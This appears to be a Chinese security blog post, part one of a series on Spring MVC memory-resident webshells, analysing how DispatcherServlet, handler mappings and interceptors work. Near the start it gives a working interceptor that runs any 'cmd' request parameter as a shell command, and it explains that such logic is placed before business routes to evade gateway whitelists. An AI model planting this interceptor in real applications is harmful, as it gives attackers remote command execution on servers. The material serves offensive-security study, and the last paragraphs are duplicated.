Java内存马系列 | SpringMVC内存马 - 上 | SpringMVC代码分析

_leyilea2024-09-07 16:31

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Java内存马_SpringMVC代码分析

新建一个SpingMVC项目

新建项目或者模块

设置Server URL为https://start.aliyun.com/：

选择Dependencies为Spring Web

建好之后，等待加载，最终是这个样子

编写一个简单的Spring Controller

TestController.java：

java 复制代码 
package com.leyilea.springmvcshell;  
  
import org.springframework.stereotype.Controller;  
import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.bind.annotation.ResponseBody;  
  
@Controller  
public class TestController {  
  
    @ResponseBody  
    @RequestMapping("/test")  
    public String test(){  
        return "Hello Spring MVC";  
    }  
  
}

切换到SpringMvcShellApplication.java，右击启动。

之后再浏览器访问如下

编写一个Spring Interceptor

TestInterceptor.java：

java 复制代码 
package com.leyilea.springmvcshell;  
  
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.PrintWriter;  
import java.util.Scanner;  
  
public class TestInterceptor extends HandlerInterceptorAdapter {  
    @Override  
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response,Object handler){  
        String cmd = request.getParameter("cmd");  
        if(cmd != null){  
            try {  
                PrintWriter writer = response.getWriter();  
                String output = "";  
                ProcessBuilder processBuilder;  
                if(System.getProperty("os.name").toLowerCase().contains("win")){  
                    processBuilder = new ProcessBuilder("cmd.exe","/c",cmd);  
                }else {  
                    processBuilder = new ProcessBuilder("/bin/sh","-c",cmd);  
                }  
                Scanner scanner = new Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");  
                output = scanner.hasNext() ? scanner.next() : output;  
                scanner.close();  
                writer.write(output);  
                writer.flush();  
                writer.close();  
            } catch (Exception e) {  
                return false;  
            }  
        }  
        return true;  
    }  
}

WebConfig.java：

java 复制代码 
package com.leyilea.springmvcshell;  
  
import org.springframework.context.annotation.Configuration;  
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;  
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;  
  
@Configuration  
public class WebConfig implements WebMvcConfigurer {  
    @Override  
    public void addInterceptors(InterceptorRegistry registry){  
        registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");  
    }  
  
}

TestController.java不变，还是之前的，运行后访问 http://127.0.0.1:8080/?cmd=whoami

Spring MVC介绍

Spring MVC的大致处理流程

  • DispatcherServlet是前端控制器，它负责接收Request并将Request转发给对应的处理组件；
  • HandlerMapping负责完成url到Controller映射，可以通过它来找到对应的处理Request的Controller；
  • Controller处理Request，并返回ModelAndVIew对象，ModelAndView是封装结果视图的组件；
  • ④~⑦表示视图解析器解析ModelAndView对象并返回对应的视图给客户端。

还有一个概念需要了解，就是IOC容器。
IOC（控制反转）容器是Spring框架的核心概念之一，它的基本思想是将对象的创建、组装、管理等控制权从应用程序代码反转到容器，使得应用程序组件无需直接管理它们的依赖关系。IOC容器主要负责对象的创建、依赖注入、生命周期管理和配置管理等。Spring框架提供了多种实现IOC容器的方式，下面讲两种常见的：

  • BeanFactory：Spring的最基本的IOC容器，提供了基本的IOC功能，只有在第一次请求时才创建对象。
  • ApplicationContext：这是BeanFactory的扩展，提供了更多的企业级功能。ApplicationContext在容器启动时就预加载并初始化所有的单例对象，这样就可以提供更快的访问速度。

Spring MVC九大组件

  1. DispatcherServlet：派发Servlet，负责将请求分发给其他组件，是整个Spring MVC的核心。
  2. HandlerMapping：处理器映射，用于确定请求的处理器（Controller）。
  3. HandlerAdapter：处理器适配器，将请求映射到合适的处理器方法，负责执行处理器方法。
  4. HandlerInterceptor：处理器拦截器，允许对处理器的执行过程进行拦截和干预（内存马的关键）。
  5. Controller：控制器，处理用户请求并返回适当的模型和视图。
  6. ModelAndView：模型和视图，封装了处理器方法的执行结果，包括模型数据和视图信息。
  7. ViewResolver：视图解析器，用于将逻辑视图名称解析为具体的视图对象。
  8. LocaleResolver：区域解析器，处理区域信息，用于国际化。
  9. ThemeResolver：主题解析器，用于解析Web引用的主题，实现界面主题的切换。

SpringMVC源码分析

这里主要从三个方面进行分析

  • 九大组件的初始化
  • url和controller的关系建立（映射）
  • Spring Interceptor引入的执行流程

九大组件的初始化源码分析

首先在External Libraries中找到org.springframework.web.servlet#DispatcherServlet，选中该类，按Atl+7键查看所有该类下的方法。

翻看之后，发现DispatcherServlet类中没有init方法，那我们就查找ta的父类FrameworkServlet

FrameworkServlet类也不存在init方法，继续向上查找，发现FrameworkServlet类的父类HttpServletBean类存在init方法

代码如下

最关键的是最后调用了当前类的initServletBean方法，跳转到该方法，发现方法为空，以为这是在子类中有实现。

接下来查找HttpServletBean类的子类，即FrameworkServlet类和DispatcherServlet类中是否有该方法的override重写。

最终在FrameworkServlet类中找到了该方法的override。

代码如下

其中log相关的代码不用关注，主要的代码就两条

java 复制代码 
this.webApplicationContext = this.initWebApplicationContext();  
this.initFrameworkServlet();

首先是调用当前类的initWebApplicationContext方法，跟进一下

该方法是为了初始化WebApplicationContext对象，并返回。其中执行了onRefresh方法，WebApplicationContext对象为参数，跟进一下onRefresh方法，看看做了什么处理（一般来说这个方法是在容器刷新完成后被调用的回调方法，它执行一些在应用程序启动后立即需要完成的任务）

跟进之后发现是空的

继续寻找子类中是否有实现，那就是DispatcherServlet类了，果然，存在onRefresh方法

其中调用了initStrategies方法，跟进一下

原来是为了初始化九大组件。

url和controller的关系建立

当我们添加一个@RequestMapping("/test")之后，为什么访问/test路径后，会执行对应的方法呢？也就是说Spring MVC为什么会通过该注解将对应的请求和方法对应起来的呢？接下来分析一下。

这里属于映射关系，那我们可以从九大组件的初始化的initHandlerMappings入手。

这个方法是初始化map映射的方法，跟进一下

如果detectAllHandlerMappings为true，则从matchingBeans中获取值并创建ArrayList赋值给handlerMappings；

如果detectAllHandlerMappings为false，则从context中获取。

如果上述操作后handlerMappings还为空，则通过getDefaultStrategies进行获取。紧接着最后，对handlerMappings做一个遍历，对里面的元素做usesPathPatterns判断。

跟进一下getDefaultStrategies方法，

如果defaultStrategies为空，则加载resource资源，并将其内容以键值对的方式存储在defaultStrategies中。

然后以传入的strategyInterface的名称在defaultStrategies中进行查询，如果找到了，则将这个值按逗号分割成类名数组，然后，遍历该数组，对每个类名执行如下操作。1）尝试通过ClassUtils.forName加载该类，2）使用createDefaultStrategy创建该类的实例，并加入到strategies中，并返回。

其中DEFAULT_STRATEGIES_PATH的值为"DispatcherServlet.properties"

查看一下该资源文件，其中比较重要的就是HandlerMapping

对应的值为如下三个

java 复制代码 
org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
org.springframework.web.servlet.function.support.RouterFunctionMapping

其中，常用的是第2个RequestMappingHandlerMapping，找到，查看一下

其中RequestMappingHandlerMapping的父类RequestMappingInfoHandlerMapping的父类AbstractHandlerMethodMapping实现了InitializingBean接口，该接口用于在bean初始化完成后执行一些特定的自定义初始化逻辑。

进入InitializingBean接口看一下，只存在一个afterPropertiesSet方法。

寻找一下afterPropertiesSet方法的重写。（从InitializingBean接口的实现类中找）

在AbstractHandlerMethodMapping类中找到该afterPropertiesSet方法的重写

并在内部调用了initHandlerMethods方法。

其中SCOPED_TARGET_NAME_PREFIX的值为scopedTarget.

接下来看一下processCandidateBean的逻辑

首先获取到bean的类型，接下来...isHandler()是判断什么，看一看，空方法，说明子类中有重写。

在RequestMappingHandlerMapping类中找到isHandler的重写，其作用是用来检测给定的beanType类是否带有Controller注解或者RequestMapping注解。

接下来调用了detectHandlerMethods方法，瞅一瞅

可以分成两大块来看

第一块

java 复制代码 
Class<?> handlerType = (handler instanceof String ?
        obtainApplicationContext().getType((String) handler) : handler.getClass());

这串代码的作用是判断传入的handler是否为String类型，如果是则通过ApplicationContext获取对应的type类型，如果不是则直接获取handler对应的类型。

总之，这串代码就是在获取handler对应的类型，只是两种不同方式。

第二块

java 复制代码 
Class<?> userType = ClassUtils.getUserClass(handlerType);
      Map<Method, T> methods = MethodIntrospector.selectMethods(userType,
          (MethodIntrospector.MetadataLookup<T>) method -> {
            try {
              return getMappingForMethod(method, userType);
            }
            catch (Throwable ex) {
              throw new IllegalStateException("Invalid mapping on handler class [" +
                  userType.getName() + "]: " + method, ex);
            }
          });

这段代码。首先获取到用户类（用户类就是没有经过代理包装的类，这样可以确保获取到的是实际处理请求的类）。

然后执行MethodIntrospector.selectMethods方法，这个方法有两个参数，第一个参数是传入用户类，第二个参数是回调函数。这个方法的作用也就是查询传入的用户类，然后执行回调函数。

该回调函数执行了getMappingForMethod方法，并返回（从名称上看，这个方法作用是获取方法对应的mapping），点进去看一下，这是一个抽象方法。

找子类中对该方法的实现：按Ctrl+Alt+B可以查看对应的实现类，也可一点击该方法前面的"i👇🏻"

在子类RequestMappingHandlerMapping中有该方法的实现。

这里可以打个断点调试一下

可以发现，该方法的作用是解析类和方法上的注解，即通过方法解析对应的路径（注解内容），如这里的test()方法的注解中的路径为/test。

将TestController类换一个写法（类和方法都加上注解），再调试一下

做出的解析为/ppp/test

接下来分析下这个方法的每一步：

分开来看一下，首先是

java 复制代码 
RequestMappingInfo info = createRequestMappingInfo(method);

然后是

java 复制代码 
RequestMappingInfo typeInfo = createRequestMappingInfo(handlerType);

两处都调用了createRequestMappingInfo方法，但是传入的参数不同。

该方法的作用是解析@RequestMapping注解，生成一个对应的RequestMappingInfo对象。

传入method（方法）参数，则获取当前方法对应的@RequestMapping注解内容，生成RequestMappingInfo对象。比如这里的/test

传入handlerType（类）参数，则获取当前类对应的@RequestMapping注解内容，生成RequestMappingInfo对象。比如这里的/ppp

最终的RequestMappingInfo内容路径为/ppp/test

继续往下跟踪，又回到detectHandlerMethods方法，开始执行methods.forEach做遍历

最终将url和Controller及method的关系进行确立。

Spring Interceptor引入的执行流程

📌随着微服务部署技术的迭代演进，大型业务系统在到达真正的应用服务器的时候，会经过一些系列的网关、复杂均衡以及防火墙等。所以如果你新建的shell路由不在这些网关的白名单中，那么就很有可能无法访问到，在到达应用服务器之前就会被丢弃。我们要达到的目的就是在访问正常的业务地址之前，就能执行我们的代码。所以，在注入java内存马时，尽量不要使用新的路由来专门处理我们注入的webshell逻辑，最好是在每一次请求到达真正的业务逻辑前，都能提前进行我们webshell逻辑的处理。在tomcat容器下，有filter、listener等技术可以达到上述要求。那么在 spring 框架层面下，有办法达到上面所说的效果吗？ ------摘编自https://github.com/Y4tacker/JavaSec/blob/main/5.内存马学习/Spring/利用intercetor注入Spring内存马/index.md和https://landgrey.me/blog/19/

答案是当然有，这就是我们要讲的Spring Interceptor，Spring框架中的一种拦截器机制。

这个Spring Interceptor和我们之前所说的Filter的区别是啥？

参考：https://developer.aliyun.com/article/925400

主要有以下六个方面：

主要区别 拦截器 过滤器
机制 Java反射机制 函数回调
是否依赖Servlet容器 不依赖 依赖
作用范围 对action请求起作用 对几乎所有请求起作用
是否可以访问上下文和值栈 可以访问 不能访问
调用次数 可以多次被调用 在容器初始化时只被调用一次
IOC容器中的访问 可以获取IOC容器中的各个bean（基于FactoryBean接口） 不能在IOC容器中获取bean

通过TestInterceptor.java来进行调试一下，在preHandle处打上断点

浏览器访问http://localhost:8080/test?cmd=whoami开始调试

将preHandle函数一步步走完之后，会进入org.springframework.web.servlet.HandlerExecutionChain#applyPreHandle方法

将方法走完，会进入org.springframework.web.servlet.DispatcherServlet#doDispatch方法，但是是在该方法的中间位置，这是因为我们打断点是打在TestInterceptor.java处，而在浏览器访问链接时，在运行TestInterceptor.java之前其实该doDispatch方法已经执行了一部分，到该处代码时，进入applyPreHandle之后才执行了我们自己写的TestInterceptor.java。

javascript 复制代码 
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
          return;
        }

总的来说就是，程序执行的一部分过程是doDispatch-applyPreHandle-preHandle。

好，那接下来在doDispatch的开始打上断点，调试一下。

首先是以下代码，这里和sync异步相关，先不管

接下来比较重要的是下面的代码，注释写的也比较清楚Determine handler for the current request.意思是确定当前request对应的handler。

步入看一下：

可以看到，handlerMappings的大小有5，也就是说有5个handlerMapping。

接下来开始遍历每一个handlerMapping，然后通过mapping.getHandler(request)获取request对应的handler。

步入getHandler看一下：

首先是以下代码，意思是先试用getHandlerInternal获取request对应的handler对象，如果为空就通过getDefaultHandler获取默认的handler对象，如果还为空，则返回null。

java 复制代码 
    Object handler = getHandlerInternal(request);
    if (handler == null) {
      handler = getDefaultHandler();
    }
    if (handler == null) {
      return null;
    }

步入getHandlerInternal看一下：发现是通过调用父类的getHandlerInternal获取

父类的getHandlerInternal：

可以继续跟进，这里和Interceptor关系不大，就不在跟进了，总之最终会返回对应的handler。handler为com.leyilea.springmemshell.TestController#test()。

继续回到getHandler处：

接下来是判断handler是否是String类型，如果是则通过obtainApplicationContext().getBean(handlerName)获取，很显然不是。

接下来是判断是否有缓存，如果有则跳过，如果没有则通过initLookupPath获取缓存路径。

接下来是执行getHandlerExecutionChain方法，返回HandlerExecutionChain对象，而doDispatch最终返回额就是HandlerExecutionChain对象，所以这个方法很重要

步入getHandlerExecutionChain方法看一下：

首先判断handler是否为HandlerExecutionChain类型，如果是则强转，如果不是则实例化一个。

java 复制代码 
HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ?
        (HandlerExecutionChain) handler : new HandlerExecutionChain(handler));

总之，就是把传入的handler转换为HandlerExecutionChain类型。

然后开始遍历adaptedInterceptors，这里数量为3，得到每一个interceptor，然后对每一个interceptor通过mappedInterceptor.matches(request)和request做匹配，如果匹配成功，则将对应的interceptor加入到HandlerExecutionChain对象中，最后返回（这是一个处理器执行链）。

最终再回到getHandler，继续往下看，log相关的不用管。

下面这段代码主要都是处理跨域资源共享（CORS）的逻辑，只需要知道在涉及CORS的时候把request、executionChain和CORS配置通过getCorsHandlerExecutionChain调用封装后返回就行了。

最终getHandler方法返回了executionChain。

然后回到doDispatch的方法，执行的到applyPreHandle后就会执行我们书写的TestInterceptor.java。

，log相关的不用管。

下面这段代码主要都是处理跨域资源共享（CORS）的逻辑，只需要知道在涉及CORS的时候把request、executionChain和CORS配置通过getCorsHandlerExecutionChain调用封装后返回就行了。

最终getHandler方法返回了executionChain。

然后回到doDispatch的方法，执行的到applyPreHandle后就会执行我们书写的TestInterceptor.java。

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